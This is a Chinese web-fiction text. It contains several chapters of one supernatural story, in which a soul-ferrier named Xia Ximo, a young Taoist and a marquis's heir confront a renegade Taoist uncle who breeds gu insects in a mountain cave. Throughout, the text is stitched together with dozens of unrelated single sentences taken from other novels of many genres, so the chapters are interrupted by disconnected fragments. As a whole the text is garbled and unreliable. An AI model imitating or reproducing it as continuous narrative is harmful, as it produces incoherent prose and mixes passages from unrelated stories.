常歌行结合前世知识编写的鲁公秘籍,迷惑性可是大的很,相信就算是鲁班在世,也看不出一个所以然,更不用说朝堂这些人了,恐怕最多也只能看出一个云山雾罩,至于路在何方,也是难以说清楚。
“哼!既然之前没说好,那就从今天才开始呗!今天可是我先说的吧!刘经理!没错吧!”胡大发也开始大力的挖坑,只等老头血压升高的时候,一脚把他踢下去。
晚上要喝酒,指不定喝多少呢!自己的车是不能开了,还是打个车方便一些。大战在即,胡大发多少有些紧张,摸了摸兜里的一盒“海王金樽”,心情才慢慢平复。
“那么她就算是说了假话,咱们也拿她没办法,对吧。”我说,“换而言之她要是说假话咱们留着她也没用,没错吧。”我说。
意外地在这里见到了李学军与郭毅,难道说,杨艳的事情终于要有着落了吗?
存着这般心思,程咬金寻了一户人家打听到那个让自己又爱又恨的地方原来叫什么九沟,在祁地境内,记清方位,程咬金朝着晋阳府的方向继续赶路。
想着,悲从心头起,不觉得眼圈一红,眼泪马上就要掉落,轻轻的抽泣一声,把钱包放在了挡风玻璃之下,一张都没拿。
因为,世俗中钱最重要,但钱对修士来说,却是可有可无,唯有修行资源,才是必需品。
同时保护罩上开始有金色的法力一丝一丝的流入了我的体内,是卢道士在往我的体内输送着法力。
而换个角度,布政使赵应名,按察使耿柄仲也算是李秉的亲信手下。
然而,他的心中却只有平静,毫无波动,就像只是要出门去超市买个菜一样。
“师妹说得很有道理,先师靠着一身高强的本领打遍天下,才有了如今的全真教。
他在听到炮声之后,手足无措,不知道该干什么,第一时间没有派人前去调查情况,也没有立即将城邑之中的倭人疏散。
清晰而洪亮的狗叫之声,从有穷渊的喉咙传出,响彻了半片雅谷。
赵史也是看出我眼里的倔强,只是淡淡的摇了摇头,提起桃木剑便冲了上去。
于谦没有耽误多久,他的行李很少,只有一个包袱,过了两日就要出发。
“你这话什么意思,是你们不愿意跟我一起的,现在见家里面劳动力多了,就坐不住了?
毕竟奶粉哪里有母乳好,孩子的抵抗力差,要是没有母乳喂养,不知道得多遭罪。
甚至推翻了自己警前的视角,怀疑1-4是否有做链子带节奏的嫌疑。
重新自我介绍一下,我是龙尔?格里尔斯,我们今天将要来好好的进行所谓的野外求生。
且不住的大声咆哮的。显然对于这一行几人视若无物的突入到了他们村子的内部。并且对着自己村子的顾问动攻击显得格外的愤怒。
这里反正也没啥看的了,加上这些奇奇怪怪的东西我们也看不懂,于是就回到那个八卦台上,让大傻回忆回忆在上面时,他是碰到哪了,会让这个藏有机关的八卦台旋转着下降的。
寒冰如果被这只身躯庞大的怪物一脚踩中,必定会被踩成一滩肉泥。
不过,就在金阳以为这一把火,能够将它们彻彻底底烧的一干二净的时候,意外的事情突然发生了。
“发射!把那艘战舰给我打下来!。”基连扎比瞪大眼睛怒吼道。
那藤鸦生怕误伤到那怪物,也不敢贸然攻击,只是非常紧张的盯着坚果,生怕坚果会伤害那怪物。
因为她很清楚卡修是雅灵的人,虽然并不知道雅灵的身份,但从天龙行者对她的态度上看就知道必然来头不一般,所以林欣没有冒失的宣布卡修失败。
两个战技,都是以腿为主,这七天里,金阳的训练重头也放在了腿力的加强之上。
云烟见银衫老者极为的尴尬,正欲出手结果暂住证牌,不过她并没有接过来,而是被走出来的齐单接过来了。
第一卷 第165章 双生
闻言,曾巧并未立即答话,反而伸出那双逐渐溃烂的手,轻轻抚摸了一下旁边的腐尸。
“怎么着,这还不是他最强的实力?”面色苍白的青年不禁有些哑然道。“当然不是,我说他曾经屠戮过一条成年的吞天巨蟒你信吗?”声音沙哑的中年人不由地激动起来。
“可以,不过一定要在美国注册,然后在防城注册一家分公司”陈宁回应道。
“我去和爱丽通电话,等会儿再进频道。”说完这句话,林鹏已经脱离了频道。。
其次就是灵念了,青玥内视时,发现原本无形无色的灵念,现在有了轮廓,而且变成了火红色,灵念中包裹着一株青莲。
一声轻哼突兀地响了起来,混合着电视里的说话声,却轻易地将旁边有说有笑的两人的注意力都吸引了过来。
“好了,不说这件事了,过完春节你把山东公司的事抓紧时间按排一下,就去美国吧,美国的业务是重中之重,不能出任何纰漏”。
张副将闻言看向彭墨,见她点了头,这才在另一张空椅子上落了坐。
整个空间的面积,却是扩大了两倍。看着,宽敞了不少。灵气也浓郁了一些。
这种地方,陈舟是第一次遇到,他不知道这世界上竟然还有这种地方。
此时伯特也是一脸平静的回来了,所有人看着伯特的眼神都带着敬畏,这一刻这个少年在他们的心中不单单是一个少年,而是一个杀伐果断的杀神。
卿云一听到薛冷的呼唤便立马走到了薛冷的身旁问道:“阿冷,怎么了”。
“也罢,反正现在你也什么也想不起来了,我们还是得赶紧想办法破了这幻境才行”。
“不是唐仁杀的,凶手另有其人,我们已经找到了凶手,可以带你们去当面对证。”苏睿摇头回答道。
陆禹右掌一伸,‘血魄宝镜’顿时在掌心中浮现出来,同时,他将左臂伸进怀里,死死地捏着某样物品,脸上充满了紧张的神情。
“你们这话就不对了,齐天大圣孙悟空长的那么丑,紫霞仙子也爱他!”这是来自波涛凶勇粉丝团的反击。
这句话正被那位把这位护卫打伤的管事听在耳中,他也是正传达完命令就要回去复命的。没想到自己突然听到这样一句话。
三人战气消耗的都很厉害,虽然短短交手这短暂的时间,可也都是动用了全力来战。
事情并没有持续很久,人工智能对于学习,也是有选取的,并不是任何东西都会入他的法眼。
白羽凌真诚的感激道,他知道烟凰希这一年来用了多少办法,才在不惹至高存在们的怀疑和不悦的前提下,一步一步拖延到现在,他自愧不如。
闫三看着缩影又滑向另外一个刻度,他急忙紧张着想要去提醒美人。可是还是晚了一步,美人托着沉重的身躯从一个地壳裂缝内艰难爬起来。
这样一来的话,林帆之前的猜想也就全部应验了,眼前的局面也都在他的掌握之中。
可是,这一切在袁欣怡做选择的时候,她们就成为了对立,输的一方必须接受惩罚。
第一卷 第166章 炼蛊
“屠家村那些人,竟然是你杀的!?”
李成虽然心中充满惧意,但听到这个真相时,还是忍不住发声质问。
“大人,我还有一私事相求,求大人恩准。”雷鸣见他喜悦,趁机开口。
众邻知二人平日为非作歹,莽撞胡为,皆嗤之以鼻。邱老太何人也?乃村内一孤寡老妪,数年前双目失明,幸亏养一犬,极通人性,拾柴提水皆由犬领之,失此义犬,邱老太将饿而待亡矣。
见到青天门的到来,皇室也是打招呼,不管如何青天门也是一大势力,虽然眼线传来一些情报,但现在还不是时候,所以对皇室而言,能好是最好的。
对江枫来说,这几千平民,以后大部分都会自愿参军,并成为讨伐帝都的主力军。
白仙至府衙大堂,堂内旋风突起,桌椅板凳随风旋转,众衙役大骇,四散逃之。风平浪静,众回大堂整理,唯见知府官印失之。
“这是一块啐刀石,你没事就用它多磨磨骨刀,杀起蛮兽来才能得心应手,我虽然喜欢你,但沙子营不能没了规矩,新来的必须要在前营里待着,你要能多活几年,老子就把这间窝棚送给你。”苦敢哈哈大笑,颇为豪爽。
那需要入阶金丹才能炼制,可那又是多么缥缈的事情,又得是何年何月的事情。
“根据末世攻略记载,澳之大陆的迷雾地带,有类龙生物存在。那里有一龙王,但他其实是一名人类。
就是杀妖兽,也比不过石头大叔那个徒弟,那个徒弟竟然把妖兽的身体全扯碎,筋络全都拉扯出来,太恶心了。
北澜来叶不曾想到这蓝柒何时变成了一个神算子了,竟然将这满口谎言一气呵成。
可是,他让我在这里工作,不就是为了想要让我出丑、出尽洋相吗?为什么现在反倒还要教我这些?
烈火熊熊,谁都瞧不清楚里面发生了什么,可两人就这么看着火焰翻滚,妄想着里面可能发生的一切。
人与妖的孰好孰坏,谁更高一等,怎么去说?总之应天长是没怎么想去分别,人也好,妖也罢,他不怎么看重这个。
见老爷子状态如此之好,徐国堂还有其他徐家人也纷纷露出了笑颜。
终于,某一刻,当三人的高度上升到万丈的时候,天空中光华一闪,萧聪三人以及数以百计的牢卒全部消失。
谢映芬既然能认得出自己院子里种的兰花品种一般,种得也不好,可见对这方面还是挺有研究的。她正好去找对方打听打听。
紫龙的警惕并不是没有意义,他身形跳跃而起落在了自己主人肩膀上,一句未说。
“洛言,我相信你。”陆君勋听到我的话,我能明显感觉到他愣了一下。
她没看到哥哥信上后半部分的内容,不知道发生了什么,此时见母亲发怒,方才伸手去捡起那封信细看。
然而让她没有想到的是,凤天瑜竟然将那杯酒交给了自己的男伴,此刻,那男伴正端着那杯酒向她走来。
天越在山谷中感悟了近三个月的时间,终于创造了属于自己的两招道法。当天越感觉能够掌控施展的时候,天越选择了进入石塔内去试验一下这两招的威力。
第一卷 第167章 嫁人
曾晓嫁入屠家庄那日是个艳阳天。
说是嫁,倒不如说是卖。
她没有新嫁衣,也没有上门来接的花轿,更没有任何嫁妆。
父亲腰上挂着两贯钱,一脸得意,二话不说就揪着她的辫子出了门。
“你!”简青青气急败坏,又恨极了念央,索性总教官不在,直接对着念央动手。
“哈哈!”我上前拽着胖子的裤子不放手,已经漏出里面花花绿绿的大内裤,只要再用一点力气就能给他拽下来。
没有办法,地形被湖、水塘、水渠分割着,日军很难发挥人数的优势。让他们对着狙击手冲锋,都不知道要往哪里冲才合适。
林鹏还记得前世的时候,吉力汽车就收购了一家M国的飞行汽车公司,国内的另一家长骋汽车也研发了自己的飞行汽车,可见这也是汽车行业和通用航空行业未来的一个发展趋势。
简和她的闺蜜达西,以及她们的老师艾瑞克三人,带着索尔换了一身衣服之后,又带着他来到了餐馆吃了一顿饭,布洛并不想直接找上几人,万一引起了误会怎么办,正好到了餐馆,布洛也是饿的不行了。
然后一出门,就见到苏胭跟谢斐排排坐着,明明两人都没有说话,整个氛围却异常和谐。
陆行深的脸彻底黑了,要说江甜虐待陆洲他觉得不可能,但是姜妈说为了吸引他注意力,倒确实符合江甜的性格。
北方就是这点好,虽然冬天很冷,但是屋内都有暖气,只在走路的时候比较冷。
可自己身边却是有周芷玉这样一名持剑六门的弟子,而且还是核心自己。她必然知道一些。
“一定是白翩然,她就是见不得我好。”在看到u盘的东西,莫羽蓁就已经猜到了是什么事。但这不能让苏惠蓉知道,所以莫羽蓁立马将矛头推向了白翩然。
过两天叶寒声公司有个总年度的年会,之前元旦的时候因为一摊子事情就没有办,现在时间空挡下来了,就准备大办一场去去霉气。
没穿越之前,她一直都在努力做到最好,这是她对自己的要求,也是别人对她的要求,她希望成为别人的骄傲。
这么些的天地接触下来,安彤彤或多或少了解到了江贝贝的一些喜好,比如喜欢像这样,凌驾于别人之上,恶狠狠地踩扁身下的人,还喜欢身下的人给她服软,自我羞辱。
“不过,每个月的房租费我就不交了!谢谢你们!我去选房间。”说完,也不等他们回话,就立即拎着箱子上楼,生怕他们会反悔。
他感到这身体内部最中心有一个炽热的蓝色核心,其中包含着澎湃汹涌的能量,他意念一动,这能量竟然随着他的意念动了起来。
风寒才刚刚好的叶倾城一大早也被抓了起来,梳妆打扮了一番,与王妃和叶妩城一起入宫。
王思雨并不知道。这套房子不过就是一个临时租赁的,而不是买下来的,对于这一点,墨千凝也没有说明,无外乎这种事情,自己也不用说的太过于相信。
面对如此漆黑一片,毫无参照物的陌生星域,冒险经验丰富的舰长也有些手足无措,好在有玉玲珑这个星光照耀之地的老司机在,新星号这才避免和无头苍蝇一般乱走。
第一卷 第168章 黑符
听着曾晓向着妹妹诉说那一年间里,自己在屠家村的经过。
场内其他三人,亦听得面色复杂。
镇官李成本就感到羞愧,再加上葛川与任风玦频频向他投去目光,一时之间,压力剧增。
陈露露是开心的,因为她感觉自己跟男朋友一起带旅行团!她好兴奋好新鲜!又是表演唱歌又是表演跳舞,完了要准备诗朗诵。
岗村宁次坐在筱冢义男的办公室中一个一个的召见第一军各兵团各部门首脑,这时桃花岛四周已经响起了密集的枪声,岗村宁次带给太原的杀戮开始了。
李羽说道:“没事,不用了,剩下的钱你们就留着吧!”作为吟龙山庄的二少爷,李羽出门吃饭从不问细问价钱,反正给的钱一定是只多不少的。
当然,实在太憋屈的时候,他也忍不住会给自己做一个精神PUA。
而在克莱恩展现出自己的神话生物形态之后,在他体内的福生玄黄天尊的意识又像是一把猛烈的火焰,在克莱恩的身躯之中重新亮起。这道意志展露出了苍茫、疯狂、血腥的本质。
在全网上亿人这么大的人流密集度,这洛语晴又火了,难保没有一些级别很高的大佬或者富二代来追求她。
先让人查一查,如果是不能得罪的人,那他无论再心动,也不会下手。
挂牌的姑娘在这三年内如果有人愿意花钱为她们赎身,这算是最好的归宿,赎身之后给人做填房也好做外室也罢,总算是有了个家,恢复了自由身。
刘湛不怀好意的笑着,看着韩季,似乎这次没让他说中。但韩季仍是一副胸有成竹的样子。
桑穆雪和桑穆轩的脸色也不是很好,可桑穆晚真的太可怕了,眼下他们一句话都不敢多说。
莫如雪微笑着摇了摇头,主动抬手,环住了谢长珩的脖子,将自己的樱唇送到了谢长珩唇畔。
对方放松了搜查,怎么说也是一件好事,只要再安全躲过两天,等云图的战斗力完全恢复,到时就凭隆山市的城防自然无法再困住他,那么薛长隆迎来的将是一场血腥的报复,他一定要杀到他心痛为此。
凤央玑已经完全消失不见,还要这石门干怎么?李元庆出手时,又狠又猛,半点犹豫也没有。
因为这里的大夫,也不会因为你要死要活,立刻巴巴的来给你看病。这里的大夫可是看心情的,当然杨若除外。这个命令可是邹清越自己下的。
因为西凉帝不禁意间透露出的杀意,两兄弟身边的暗卫只增不减,西凉皇帝也没再出手做些什么,随着时间的推移,眼看寿宴在即,大好的日子,可在这唯美的宫闱之下,魑魅魍魉又少得了多少呢。
只是打开之后,人的好奇心是无限的,若是个中真让自己遇上了什么秘宝,那岂不是一飞冲天了?
这时,它身上的红光再度强盛了一层,这邪异之极的红光,似乎象征着某种极为强大的功法。
朱天运抱着两个孩子玩了一会,然后又把他们送了回去,就往回走,就被记者拦住了。
陈萱难以置信的看着洛祁天那种嗜血的表情,她的呼吸变得越来越困难,可是却始终没有反抗。
第一卷 第169章 道人
任风玦离开山洞后,葛川肩负重任,自然是一刻也不敢松懈。
他先是四下打量了一番,观察地形。
见山洞不算深,也并非完全封闭,顶上甚至还能透进一线微光。
但出入洞口,却只有一个。
然后张坤发现,从邵西居然没有直达晋中的火车,甚至到太原的火车都没有。
当许多个瞬间都在思念的那张和蔼的脸庞在自己最绝望无助的时候出现在了自己的面前,冥落忍不住落下泪来。
信薇儿的身后是三位双翼天使,再后面便是霸江山和方燮方大师。
“没有为什么,少主说你不能离开,你就不能离开。”那卫士态度生硬的说。
涅香的嘴角露出一丝不易察觉的轻蔑的笑容,然后马上又恢复了冰冷的神情。
床上横七竖八的躺着一些人,唯独不见叶辰的身影,这让颜如玉很是奇怪。
他没有使用五行之力和本源之力,但也只能跟詹姆士堪堪战成平手。
房间里一时安静了下来,朱彩萍没有催促,也没有说多余的话,就连旁边的严正浩也只是静静的等待着。
知道了张坤的身份,虽然现在的张坤看起来还是那副“毛都没长齐”的样子,但是年轻人却丝毫不敢回嘴。
赵若萱冲我扬了扬粉拳,这才退开了两步,与我再次拉开了危险距离,然后让我告诉她,究竟把绿玉佩藏在了哪里?
林长风赶紧一个猛子扎进水里,王真人脸上有怒色,不停的将符纸扔进去,水面炸裂声不断。
楚歌接过木盒,好奇打开,淡淡的白雾混杂着丹香,从木盒中传出,仅凭丹香便让楚歌感到头脑一阵清明,思维敏捷了许多。
真正愿意帮助他们的,反而成了不重要的。处处推诿的,却成了大人物。
数道气息强横的身影在枪意中化为肉沫,那抹银色的枪芒兀自冲出数百丈,将一座石山洞穿。
一具白皙的俊朗道身呈现在众人面前,比之前更加俊美和凝练,体质更上一层楼。
其他等候的妖族天才们,看着已然化形成功的迅雷,一个个都迫不及待起来。
“二婚吵我睡觉了——”陈禧脱口而出的话,后知后觉自己说话的歧义。
尚未修炼,只是听讲解,陈正道已经出了一身大汗,皱着眉头,将慕洗尘的话,死死记在脑子里。
究竟是放弃李大护保全剩下两个儿子,还是为了李大护和沈家撕破脸皮。
男人连忙点头,他们本就是地痞流氓,想着西街是乱街才敢横行霸道。可碰上真正能横着走的人,又没了这股贼胆子,也属欺软怕硬之徒。
“不好!”其中一个高手,原本全神贯注地等待着方川的出击,妄想着反击方川。
还是白天,里面没什么人,但是盛弘一驾轻就熟,带着蔚杳杳就朝着顶楼的会议室走去。
“没事,皮肉伤而已。你们怎么过来了?”叶纯温婉的笑着回应。
“对了,沈家那边我总觉得沈逸琛的妹妹沈清绾有点古怪。”苏扶月一边剥着洋葱,手肘捅了捅陌淳祁,低着头问道。
想起来什么就说什么,这话里头明显的就是有着在威胁人的意思。
他就选了几个城主较为配合的仙城设立据点,以此为圆心辐射到周边,打算等生意走上了正轨, 再慢慢拓展业务。可以想象,等到据点遍地开花的时候, 一张紧密的联系网就覆盖在了东洲上。
第170章 师伯
“曾晓”见妹妹已遭毒手,周身怨气不断升腾,根本不顾自己的魂魄还附在别人身上,便要冲上前去与那道人拼命。
葛川见状,唬得心肝一颤。
这要是有点什么差池,任小侯爷不得直接砍了他的脑袋?
“你别去…”
他伸手本要拉住她,却被“曾晓”一拂衣袖,一股怨气冲撞过来,几乎让他眼前一黑。
好在此时的“曾晓”只剩下一缕魂,否则葛县令受这一击,回头少不了得找颜正初好好驱驱邪气才行。
葛川拦不住,只能看着被曾晓鬼魂附体的夏熙墨冲到那道人跟前。
道人又哪里会将她的一举一动放在眼里?
他眼睛仍盯着匣内蛊虫,随手打出一道黑符,以为这样就能牵制住对方。
然而,夏熙墨也只是在原地停顿了一下,垂眸片刻。
一缕影子从她体内弹出,入了渡魂灯内。
下一秒,再睁开时,却是一双清冷的眼睛。
她缓缓抬手,撕下了额前黑符。
道人这才讶然一惊,视线移到她身上时,后背竟无故起了冷意。
这人身上的气息…怪得很。
一个活人,身上的阴气怎会如此之重?
那躯体之下,究竟又藏着什么?
“看够了?”
夏熙墨开口的同时,道人竟不由自主后退了一步。
他也很快发现了怪异之处。
就像…一道寒流,在冬夜里潜过河面,河水静止,悄然凝结成冰。
此刻,他的身体,就像那河流…
道人骇然:“你…”
知道自己是遇上了劲敌,他一点也不敢怠慢。
趁着身体并未完全僵住,便自怀中掏出一张黑符,咬破中指凝血结印,护住九窍。
随之引元神离体,并迅速隐去了踪迹。
夏熙墨皱了一下眉。
无忧忍不住开口道:“这道士还真有些本事,知道用这种方式逃脱。”
确实,比起姓颜的道士,多少强点。
圈内,葛川看得一脸茫然,暗道,怎么看着小侯夫人好像还略胜一筹呢?
他心里这样想着,忽瞥见地上尸虫开始向夏熙墨靠近,不免脱口而出:“小侯夫人,小心虫子!”
“小侯夫人?”
无忧被这声称谓给逗乐了,忍不住扑哧笑出声来。
再看夏熙墨,眉间闪过异色,神情也微滞。
但也只是一霎,她脚下腾转之间,凝神运力,眉心处红莲印闪现时,一股来自幽冥的鬼王之气,自体内迸发而出。
虫群尚未靠近,便如惊弓之鸟,四下乱窜。
夏熙墨趁隙瞥了葛川一眼:“再乱叫一声,小心你的舌头。”
“……”
葛川连忙捂住嘴,心也跟着砰砰乱跳。
但见尸虫如潮水般退去,心下又是一阵稀奇。
无忧发现地上的匣子不见了,连忙向夏熙墨道:“墨骨,那个装蛊虫的匣子不见了。”
话音刚落,却闻葛川惊叫一声。
夏熙墨再回头时,竟发现那姓李的镇官狞笑着,已将葛川挟持在手。
而那只装着蛊虫的匣子,却落到了他的手中。
“他被那个道士附身控制了…”
“知道。”
夏熙墨望着已将元神附身在李成身上的“道人”,冷冷问道:“躯体不要了?”
“道人”回道:“一副臭皮囊而已,不要又如何?”
“看出来了。”夏熙墨冷嗤一声,“做人做腻了,想做鬼?”
“道人”依然阴恻恻笑着,随后将匣子凑到葛川嘴边,并一手捏住了他的下巴。
匣中,二虫相残,胜者生。
活下来这只,甲壳依然透着青绿色的幽光,却多出了一双血红色的眼睛。
它从匣中探出头,发出怪异的“嘶嘶”声。
闻其声,山洞内其他尸虫,亦发出簌簌声响,作出回应。
一时之间,令人毛骨悚然的声音,响彻整个山洞。
眼见那只母蛊就要钻进葛川口中,夏熙墨忙将魂力凝于指尖处,正待施展定骨之术,一柄玉剑破空而来,径自飞向了“道人”。
见状,“道人”只有暂避锋芒,松开葛川。
“师伯,事到如今,你还要将错就错吗?”
颜正初随玉剑而来,旁边还跟着
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任风玦。
任大人进山洞后,立即锁定了夏熙墨的位置,并迅速走到她身旁。
如今,他已能通过神态感觉,判断出附身在夏熙墨身上的鬼魂是否离去。
因此,自然而然便向她问道:“你可还好?”
夏熙墨侧头看了他一眼,不知为何,脑海中竟又响起了那声“小侯夫人”。
她收回目光,并悄悄与他拉开一些距离,这才淡应了一声。
“嗯。”
任风玦见状,却不动声色地将距离拉了回来,悄悄移步向她靠去。
“那便好。”
“…”
另一边,随着颜正初一声“师伯”喊出口,道人的身份,也算是清楚明了了。
任风玦看了一眼那手捏符咒已引魂出窍的道人,显然有些疑惑。
既是颜正初的师伯,又怎会如此年轻?
“想不到这位竟是天机**的师兄?”
颜正初轻叹了口气,这才解释道:“师祖早年只收了两个徒弟,天问师伯比我师父先入门一年。”
“那我小叔?”
“是师祖后来才收的关门弟子。”
任风玦点了一下头,又看向附身在李成身上的“道人天问”。
岂料,对方也同样在打量着自己,眼中寒芒闪烁,明显不怀好意。
他亦开口问了一句:“任曜竟是你小叔?你也姓任?”
任风玦坦然迎着他的目光:“正是。”
“天问”忽然哈哈大笑:“我就说任曜那小子生不见人,死不见魂,原来竟是因为你。”
这话让任风玦与颜正初皆面色骤变。
显然,对于任曜之事,对方必然知道一些什么。
任风玦压住胸口处的激荡之情,正要继续问话。
颜正初却悄悄扯了一下他的衣角,低声道:“我师伯心术不正,他说的话,不可多信。”
说着,他自己往前踏出一步,继而提声道:“师父说过,当年京都一役后,你便被师祖逐出了师门。”
“你当日发过毒誓,此生不再踏入云鹤山半步。”
“没想到,今日在山下,作下这些恶事的人,竟是你!”
第171章 身份
颜正初一番话,却教任风玦好一阵思索。
首先,他口中所说的“京都一役”发生在五十年前。
假设这天问道人,当时只有十来岁,至今,也该六七十多岁了。
但他如今的外形,看起来也就比颜正初稍稍年长一些。
是驻颜有术吗?还是有其他因由?
其次,以小叔任曜的年纪来推算,他入云鹤山时,天问应该早就被逐出师门了。
他又是从何得知任曜的事情?
这边任风玦心藏疑虑,那边的“天问”也开口答话了。
他冷笑一声:“师父都**十几年了,谁还记得那些陈谷子烂芝麻的事?”
“再过两三年,等我那天资平平的师弟也不行了,云鹤山只怕还得请我回去。”
“小师侄,师伯说得是不是?”
颜正初听他如此贬低自己的师父,心下很是不悦,当即驳道:“我师父身体康健着呢,别说两三年,就算是二三十年,也没有你的事。”
“你一个被逐出师门的人,哪还有资格回去?”
“只要云鹤山有我一日,便绝无可能发生这事。”
“天问”依然悠然自得,望着匣中蛊虫,还轻轻逗弄了一下,嘴上却道:“小师侄,若我没有说错的话,云鹤山不久前才被鬼物盗了十二颗养魂珠。”
“向来号称以‘捉鬼驱邪’为己任的云鹤山,竟任由一个鬼物来去自由。”
“这事要是传出去,还不得让人笑掉大牙?”
这话让颜正初心下一阵惊诧,面上更是青红不定。
鬼物盗珠之事,师父也只跟他说过。
派他下山寻珠,也是私下叮嘱,当时并无旁人在场。
天问又是如何得知此事?
他稍一思忖,心里忽然又明白了过来,立即道:“鬼物盗珠之事,我一直心存疑惑,今日听师伯这么一说,倒是明白了。”
“养魂珠一直放在师父闭关的密室内,师祖曾在门前设下禁咒,而如今云鹤山内,知晓禁咒的人,也只有我和师父,却忘了,还有师伯你。”
“所以,是你从中作梗,助那鬼物,盗走了养魂珠,对不对?”
闻言,“天问”又是哈哈一笑:“倒也算不得太蠢,可惜你并无证据,还真赖不上我。”
颜正初心下愈发气恼,正打算说些什么话回击时,身侧却冷不丁防传来一句。
“要打就打,废话那么多?”
“……”
一直默默旁听的夏熙墨忽然开了口,她冷睃了“天问”一眼:“你看起来,比这姓颜的道士,可好不到哪里去。”
“请你回去守大门,都未必中用。”
天问见她眼神轻蔑,语气更是狂到没边,心下也很是恼怒。
可偏偏这几个人当中,就数她来历诡异,且最不好对付。
而且…
刚刚她的身上,似乎还散发出了一股幽冥鬼气。
可一个凡人身上,怎么可能会有幽冥气息?
颜正初听见夏熙墨帮自己说话,心里倒是好一阵稀奇。
毕竟他俩平时总不对付,没想到关键时候,还是站在一条战线上。
他莫名就硬气了起来:“我觉得夏姑娘说得对,守大门也不请你!”
“天问”面色阴沉,只是紧盯着夏熙墨,却不答话了。
他抬手掐算,片刻后,又诡异一笑。
阴年阴月阴时出生的纯阴之体,却阳寿已尽。
莫非…
“我看这位姑娘身份古怪,可不像是‘人间客’。”
“若我猜得没错,这具身子,也并非你的原身吧?”
“天问”本以为这话说出来,能看到对方惊慌失措的神情。
结果换来的,却是死水一般的沉寂。
夏熙墨不仅面无波澜,甚至反嘲了一句:“我的身份,你也配问?”
一旁的任风玦本要替她说话,闻言,笑意顿时漫过眼角。
“天问”被她的话呛得一噎。
颜正初则思索着,看了夏熙墨一眼。
初见时,他就发现了她身上的不对劲之处。
这一路同行,她命格非凡,疑点众多,几次莫名“死而复生”,实在难以解释。
但他从未细想过,问题究竟是藏在这躯体,还是
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里面的魂魄?
听天问这么一说,心中迷雾渐散,隐隐有了答案。
但很快,颜正初便反应过来,他跟着骂道:“你自己心术不正,当然看谁都带着邪气。”
“人家夏姑娘可是护国将军之女,你也配对人家评头论足?”
“天问”立即扫了他一眼,只得将矛头重新指向他。
“蠢得无可救药。”
颜正初不做口舌之争,收了玉剑,直接赤手空拳上前,乍一看,是想生擒了这云鹤山的叛徒,为师门清理门户。
此时的“天问”,附身在那镇官李成身上,自然是不及原身“好用”。
李成身宽体胖,行动笨拙,在拳脚功夫上,比起颜正初,肯定要略逊一筹。
颜正初此举看似鲁莽,其实心里也跟明镜似的。
他知道,若要斗法,自己肯定斗不过天问。
师伯诡计多端,修的还是邪门歪道。
绝对不能硬碰硬。
唯一能有的胜算,就是先让对方放松警惕,在最关键时,以师父教的方法,破了他专修的禁术。
而这一点,他进洞之前,便与任风玦通过气…
夏熙墨一眼就能看出颜正初并非那老道的对手,此时,见两人在山洞内打得有来有回,倒也不急着出手。
渡魂灯内,曾晓的鬼魂,还在因妹妹的死而悲泣。
无忧试图安慰她:“她以身体养蛊,本身也没几日好活了…”
话说一半时,又好像发现不太对劲。
曾晓哭得更加伤心。
无忧只能道:“你放心吧,这老道士也活不成…”
曾晓这才暂收哭声,轻声道:“但我瞧那年轻道士,并非这老道的对手,难道…”
无忧语气笃定:“打不过的话,渡魂人必会出手。”
曾晓讷讷点头。
再看战局,“天问”已被颜正初缠得气力不支,干脆直接念咒,催动双生蛊,号动周边虫群。
那些被震退的尸虫,在那只蛊王的鼓动之下,再次涌了上来。
颜正初见状,知道不能再等,当即大喝一声:“小侯爷!”
第一卷 第172章 斗法
「回禀大人,30秒内必定完成。」他的脑内响起了之前那个虫头魔角恶魔的声音。
从明天开始一直到发布会,谢澄瑜都没机会接近身边没有厉寒衍陪着的夏萦,所以一定是有什么事,必须要在厉寒衍不在的情况下完成。
由于炼化青灵葫芦的原因,离央还没来得及感受鼎内空间的具体变化,而这一路跟着青鸟,离央这才发现鼎内空间的面积不知又扩大了几多倍。
李清照方要开口,却见到烛影摇晃,便要走过去换蜡烛,陆平已经抢在前面,换好了蜡烛,然后又挑拨了一下蜡引子,使得光能够照亮这边。
这两样东西,是日本修行界三大主神器,绝不能落在别人的手中。
裴纤羽缩在裴夫人怀里嘤嘤啜泣,裴夫人一个劲安慰,一边把保安骂的狗血淋头。
雷公山,霹雳宗。风朗一行六人不费吹灰之力便进了霹雳宗宗主托雷拉克所住的院子,在他的房间里找到一个机关,开启之后便是一个黑漆漆的通道。
芙兰、伦、千夏三人围了过来,燕柳戒备的也跟了上来,有些难为情的苦笑着。
果然我也不该对你报以期待吗?身为白熊居然就这样被俘虏了吗?甜食就这么好吃吗?果然只要是熊就会脱离不了喜欢吃蜂蜜的设定么?
在南荒之中,虽说不是经常会遇到大量的妖兽围攻,但偶尔也会遇到这种情况,不过只要围攻的妖兽修为没有超过一个大境界,在离央与苏风逍的联手下,也总能化险为夷。
而这个时候,辅助庄周慢悠悠地游走到了对方野区蓝爸爸那里,对方打野的身影瞬间暴露。
正是第五种方法,才使得姬秀能在千年之后,有幸在神教牢房当中再目睹灵图的伟大创造,让这一伟大发明再度重现人间。
叶溪眸光微微闪了闪,倾身凑过去,在他唇边落下一个极轻的吻。
突然赖道杰皮肤变黑,在空中只能看到头发,眉头,睫毛,鼻毛,胡须,皮肤之类统统看不见。赖道杰化成一股劲风,卷向老秦他们三人。
专家们此时面面相觑,脸上写满了惊恐,一些人拖动着略微僵硬的双腿往后撤着,也有一些人颤抖着发紫的嘴唇,却一句话也说不出来,老汪皱着与那花白的老专家看了一眼,然后掏出卫星电话,想了一下直接拨了出去。
晚凝看着他愤怒的眼神,还继续干呕着, 说不出话来。他说完话, 看着她的反应, 觉得更加恼怒,将她扔去旁边榻上。
说着,姜媛媛就麻溜的剥去了树皮,露出了里面白嫩的枝干,这几根枝干是陈默凡专门从树上砍回来串鱼的,前面的尖尖都削好了。
还有一件事,便是尘风新楼上的头条在近日变为:天尘宗莫尘与凌风楼韩豹将于本月月底在皇家公场争夺驸马之位。
“那你上浮的依据是什么呢,不知道现在经济不景气,应该尽量的压缩成本吗,你们这还一个劲的往上加。可算是知道为啥公司这成本一直降不下来了,都像你们这么干,能好的了吗?”,孙宏继续追问道。
那只有三寸高的神像在发现红绡到来之后,顿时变得有些紧张起来,又惊又怒地道。
教室里其他学生纷纷讶然,眼神古怪,看向帝九和厉云烟时,仿佛看懂了什么,心中猜测,这二人的背景肯定很强,否则以杜明涛的性格,早就带着帮手杀过来了。
可在这一刻,秦轩的心动摇了,他与莫清莲对视着,不知道,自己是否应该如此走下去。
郝多鱼艰难的爬了起来,他的接受能力很强,已经回过神来,搬了个凳子,坐在帝九身旁。
在媚无双发愣的时候,吴耀扬的手术已经成功了,王氏脖子上的伤口算是彻底缝合。
